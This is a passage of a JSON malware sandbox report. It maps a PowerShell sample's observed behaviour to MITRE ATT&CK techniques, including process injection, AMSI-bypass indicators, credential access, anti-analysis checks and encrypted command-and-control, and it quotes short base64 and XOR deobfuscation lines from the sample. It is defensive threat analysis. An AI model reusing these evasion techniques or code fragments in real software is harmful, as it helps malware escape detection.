Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Able to delete items (Powershell command string)"},{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to modify volumes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Clear Mailbox Data","attack_id":"T1070.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/008","identifiers":[{"type":"suspicious","value":"Able to manipulate or erase email repository contents (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Calls an API typically used to decrypt a block of data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Detected XOR operators (encryption/decryption)"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Script contains XOR (Antimalware Scan Interface)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Indirect Command Execution","attack_id":"T1202","attack_id_wiki":"https://attack.mitre.org/techniques/T1202","identifiers":[{"type":"informative","value":"Able to mask child processes from sight using conhost"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Masquerade Task or Service","attack_id":"T1036.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/004","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Credential Access","technique":"Steal or Forge Authentication Certificates","attack_id":"T1649","attack_id_wiki":"https://attack.mitre.org/techniques/T1649","identifiers":[{"type":"informative","value":"Contains reference to authentication certificates (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Contains ability to retrieve credential objects (Powershell command string)"},{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"Domain Account","attack_id":"T1087.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/002","identifiers":[{"type":"informative","value":"Contains ability to retrieve Active Directory settings (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"Cloud Groups","attack_id":"T1069.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/003","identifiers":[{"type":"informative","value":"May be able to execute Exchange Online Remote PowerShell Modulee"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Process launched with changed environment"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"Log Enumeration","attack_id":"T1654","attack_id_wiki":"https://attack.mitre.org/techniques/T1654","identifiers":[{"type":"informative","value":"Able to retrieve event logs (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Drops XML files"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to encrypt a block of data"},{"type":"informative","value":"Calls an API typically used to import asymmetric cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"Script connects to a host without prior DNS lookup"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically used to import cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to delete items (Powershell command string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-333","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to mask child processes from sight using conhost","description":"file/memory contains long string(File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1202","relevance":1,"id":"string-734","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006920)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006920)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006920)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '1851757690881', 'hResInfo': '1851757692128'}\" (UID: 00000000-00006920)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1851757690881', 'hResInfo': '1851757692160'}\" (UID: 00000000-00006920)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1851757690881', 'hResInfo': '1851757692176'}\" (UID: 00000000-00006920)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '1851757690881', 'hResInfo': '1851757692144'}\" (UID: 00000000-00006920)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Script contains XOR (Antimalware Scan Interface)","description":"The script contains XOR encryption - bxor","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1027","relevance":10,"id":"amsi-5","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Scripts code detected via AMSI (Antimalware Scan Interface)","description":"$2c","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059.001","relevance":5,"id":"amsi-2","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)","description":"Process \"powershell.exe\" executed suspicious script","origin":"Windows Antimalware Scan Interface","mitre_attack_id":"T1059","relevance":3,"id":"amsi-0","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6920)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"$2d","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to decrypt a block of data","description":"\"powershell.exe\" called \"BCryptDecrypt\" with parameters {\"$dataout\": \"HTTP/1.1 302 FoundServer: nginxDate: Fri, 24 Apr 2026 23:43:26 GMTContent-Type: text/html; charset=utf-8Content-Length: 0Connection: keep-aliveContent-Language: enExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, m\"}\n \"powershell.exe\" called \"BCryptDecrypt\" with parameters {\"$dataout\": \"HTTP/1.1 200 OKServer: nginxDate: Fri, 24 Apr 2026 23:43:26 GMTContent-Type: text/html; charset=utf-8Connection: keep-aliveVary: Accept-EncodingContent-Language: enP3P: CP=\\\"CAO PSA\\\"Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache\"}","origin":"API Call","mitre_attack_id":"T1140","relevance":3,"id":"api-207","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to encrypt a block of data","description":"\"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"T*A\"}\n \"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"8fbf0f4f0125d0aad2b0d2f68dab63fd681375713f92b72ee4be639c2321e371d1bfc1c9c4743840b9cd63a5766ddb373d34fa59d1f803ac9225a8eedf9abff84607b50f4e5b70bfc438b45402276c976bb7c5b524b1a0de68c0dee726ba2b44f822925956d37c190c7345e44b261e1382888cfc7658f8b5e325bf2804fa530202c3ef2768c578b96e65b59cde159d9a08e454dea2f37a9636b0061950bb8aa3\"}\n \"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"e975b3f9432008b007362c5754d02173fc1c231cb87c7941450775b1356035d7e866176a3cf963bc29dcad67dd0a1a92bdffe44093cb560b887bf285ffa4e2a816429ac96c6c103071d69594fb30834ee1414853e8eb7f6faf2852851e99c3252b77e785a91c98cdfda98f3ce72f6a79807ce153b7bc45bed5cd9f3d1757aeae5a29e692f945c8df08be3b18168ea578dcf514518e5688aa3835ab6791\"}","origin":"API Call","mitre_attack_id":"T1573.002","relevance":3,"id":"api-206","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"$2e","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to import cryptographic keys into a CSP","description":"$2f","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found reference to API \"$literal = $goal.GetString([System.Convert]::FromBase64String($ddf))\" (Indicator: \"FromBase64String\"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Detected XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \"-bxor \"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")\n Found string \"$nonCriticala[$i] = $evalLiteral[$i] -bxor $preCalculatedDigit[$i % $preCalculatedDigit.Length]\" (Indicator: \"-bxor \"; File: \"0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: Reads the cryptographic machine GUID","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006920-00000C2C-2322773007\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006920-00000C2C-2323437954\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006920-00000C2C-2322773007\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006920-00000C2C-2323437954\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006920-00000C2C-2321703204\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006920-00000C2C-2321703679\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006920-00000C2C-2323844959\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006920-00000C2C-2323844992\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00006920-00000C2C-2327844797\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00006920-00000C2C-2323216028\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006920-00000C2C-2323216051\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69ebfff71e3a8d71c7009627"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006920)","origin":"API 